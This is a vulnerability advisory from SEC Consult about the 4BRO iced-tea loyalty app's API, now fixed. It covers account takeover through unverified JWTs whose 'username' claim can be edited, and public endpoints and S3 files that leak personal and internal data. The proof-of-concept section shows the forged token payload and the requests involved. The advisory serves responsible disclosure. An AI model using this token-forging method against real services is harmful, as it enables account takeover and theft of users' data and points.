SEC Consult Vulnerability Lab Security Advisory < 20240522-0 > ======================================================================= title: Broken access control & API Information Exposure product: 4BRO App vulnerable version: before 2024-04-17 fixed version: 2024-04-17 CVE number: - impact: Critical homepage: https://www.4bro.de found: 2023-05-07 by: Max Rull (Office Bochum) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "4BRO is a German company known for producing iced tea beverages. The brand offers a variety of flavors, including unique combinations such as peach, bubblegum, and watermelon mint. 4BRO emphasizes modern and appealing packaging, targeting a younger demographic. The company promotes its products through various platforms and incentivizes customer loyalty with their app, which allows users to collect points for rewards. The company's headquarters is located in Germany, and their products are widely available both online and in retail stores." Source: https://www.4bro.de Business recommendation: ------------------------ The vendor has fixed the security issues in the API server as of 2024-04-17. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Broken access control via IDOR in 4BRO app API An IDOR vulnerability (Insecure Direct Object Reference) allows an attacker to change the username in the Bearer token used for authentication in the 4BRO app. This leads to account takeover as a result of broken access control (poor Bearer token verification). Attackers are able to access all data or Bro points ("broins") from other users. 2) API Information Exposure When opening the app as an unauthenticated user, the 4BRO app loads JSON data from a publicly available API endpoint containing sensitive data like e-mail addresses of employees, internal invoices, a CV including personal information, a gift card etc. Proof of concept: ----------------- 1) Broken access control via IDOR in 4BRO app API When logging in into the 4BRO app, the server returns a JWT (JSON Web Token). The "login" HTTP request looks like this: -------------------------------------------------------------------------------- POST /api/user/signin HTTP/2 Host: adminpanel.4bro.de Content-Type: application/json [...] {"email":"<login email>","password":"<login password>"} -------------------------------------------------------------------------------- The server responds with a JWT used for authentication and additional account-related data: -------------------------------------------------------------------------------- HTTP/2 200 OK Content-Type: application/json; charset=utf-8 [...] { "token": "<JWT here>", "userData": { "isBlocked": false, "_id": "[...]", "userType": "USER", "email": "<login email>", "broins": 0, "deviceId": null, "userCreationDate": "2023-XX-XXTXX:XX:XX.XXXZ", "address": [{ "_id": "[...]", "streetName": "[...]", "streetNumber": "[...]", "postalcode": "[...]", "city": "[...]", "firstName": "[...]", "lastName": "[...]", "country": "at" } ], "ratings": [], "__v": 0, "pushToken": "[...]", "telekomUUID": "[...]" } } -------------------------------------------------------------------------------- Because the JWT is only base64-encoded, it is easy to decode the JWT's header and payload as clear text using JWT decoders like https://token.dev/: -------------------------------------------------------------------------------- Header: { "kid": "[...]", "alg": "RS256" } -------------------------------------------------------------------------------- Payload: { "sub": "[...]", "event_id": "[...]", "token_use": "access", "scope": "aws.cognito.signin.user.admin", "auth_time": 1683565567, "iss": "https://cognito-idp.eu-central-1.amazonaws.com/[...]", "exp": 1683569167, "iat": 1683565567, "jti": "[...]", "client_id": "[...]", "username": "<login email>" } -------------------------------------------------------------------------------- The payload of the JWT contains multiple values indicating that AWS Cognito is in use. By changing the "username" value of the JWT payload to a victim email, it is possible to use the modified JWT for authenticating as the victim. The victim should already have a normally registered account in the 4BRO app. By trial and error, it turns out that even the following modified JWT payload gets accepted by the server: -------------------------------------------------------------------------------- { "sub": "0", "event_id": "0", "token_use": "access", "scope": "aws.cognito.signin.user.admin", "auth_time": 0, "iss": "", "exp": 0, "iat": 0, "jti": "0", "client_id": "0", "username": "<login email>" } -------------------------------------------------------------------------------- Meanwhile, the "kid" property in the JWT header must be a valid value, but can belong to any other already existing 4BRO app account. The JWT signature can be the same and does not get verified at all. Using the modified JWT, all API methods supported by the 4BRO app can be executed. Because the server only checks the "username" property in the JWT payload and does slim to none JWT verification, the server thinks that the request came from the account associated with the login email contained in the "username" property. This way, sensitive data such as the current "broin" balance, full user data as seen in the login response, previous transactions, redeemed vouchers and goodies etc. can be accessed without restrictions, using the 4BRO API. Also, the "sending broins" action can be performed so that earned "broins" could be transferred to an attacker's account balance. 2) API Information Exposure By monitoring the 4BRO app's requests over a proxy, it can be observed that the following HTTP request is made when opening the "Goodies" section of the app: -------------------------------------------------------------------------------- GET /api/goodies?pageSize=1000 HTTP/2 Host: adminpanel.4bro.de [...] -------------------------------------------------------------------------------- The response is a JSON object containing all goodies that are or were at some point available in the 4BRO app: -------------------------------------------------------------------------------- HTTP/2 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 327138 [...] { "goodiesList": [{ "_id": "61950603005c650530b63aac", "name": "1x 4BRO Getränk Imbiss", "longDescription": "[...]", "shortDescription": "Auf unseren Nacken!", "imagePath": "https://broappasset-prod.s3.eu-central-1.amazonaws.com/dev/goodies/app_kachel_food_256x256.jpg", "category": "Food", "quantity": 999999999999808, "costOfGoodie": 250, "supplier": "<email removed>", "totalGoodies": 999999999999861, "goodieAvailableTime": "Unlimited", "deliveryMethod": "partnerCoupon", "isNewGoodie": false, "inhouseAppVoucherUrl": "https://broappasset-prod.s3.eu-central-1.amazonaws.com/dev/inhouseAppVouchers/undefined", "__v": 1, "rating": { "value": 3.991869918699184, "total": 123 }, "forceGoodie": "true", "goodieAvailableEndTime": null, "goodieAvailableStartTime": null, "restriction": [], "hidden": false, "slashedCostOfGoodie": null },{ [...] }, [...] } ], "goodieCount": 371 } -------------------------------------------------------------------------------- This JSON object contains already sensitive data such as the goodie supplier's email addresses. Out of the 371 goodies, 36 of those have a URL to a PDF file contained within the "inhouseAppVoucherUrl" property. Because these files are hosted on an AWS S3 bucket, everyone can access these documents without authentication. These documents seem to contain various sensitive company internal and personal information. While discovering vulnerability 1), we found that old gift codes were also stored as PDF files on the AWS S3 bucket. The names of the gift code PDF files indicate that there may be more similarly named documents (IDOR) which could be detected in an automated way. This could be leveraged to find additional gift code PDF files stored on the AWS S3 bucket. Vulnerable / tested versions: ----------------------------- The following app version has been tested and downloaded through Google Play store, which was the most recent version available at the time of the test: * 3.14.7 Because the vulnerability is actually server-side within the API, the iOS app was also affected at the time the vulnerabilities were discovered. Vendor contact timeline: ------------------------ 2023-06-12: Contacting vendor through [email protected] (owner) and [email protected] (developers according to Google Play store) 2023-06-15: Vendor asks about the risks of the identified vulnerabilities and which parts of the application are affected and whether any costs would arise before they provide us with a security contact. 2023-06-16: Detailed answer regarding risk estimation, responsible disclosure and that no costs are involved. 2023-06-19: Vendor requests a phone conference, scheduled for 21st June. 2023-06-21: Clarifying responsible disclosure, explaining vulnerabilities and next steps in phone call. Providing security advisory to vendor. 2023-06-29: Vendor has sent the advisory to the developer team for evaluation and will notify SEC Consult about the release of the security patch. 2023-08-18: Asking for a status update. 2023-08-31: It is planned to release an Android/iOS app update end of September 2023-09-18: Vendor needs to postpone update, no new date available. 2023-11-08: Asking for a status update; no response. 2023-11-21: Asking for a status update. 2023-12-11: Vendor response, fix is available in test environment, production will be fixed by end of this year. 2024-01-24: Asking for a status update; no response. 2024-02-12: Asking for a status update. 2024-02-12: Vendor is still waiting for a response from their IT. 2024-04-17: Asking for a status update. 2024-04-17: Vendor states that the vulnerabilities have been fixed. 2024-04-17: Asking for the fix date, whether an app update was needed for applying the fix, and the fixed app version. No response. 2024-05-13: Asking vendor again about fixed version, etc., setting preliminary release date to 2024-05-21. No response. 2024-05-22: Release of security advisory Solution: --------- The vendor implemented a fix in the affected API server as of 2024-04-17. An app update on Android or iOS is not required to apply the fix. Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF M. Rull / @2024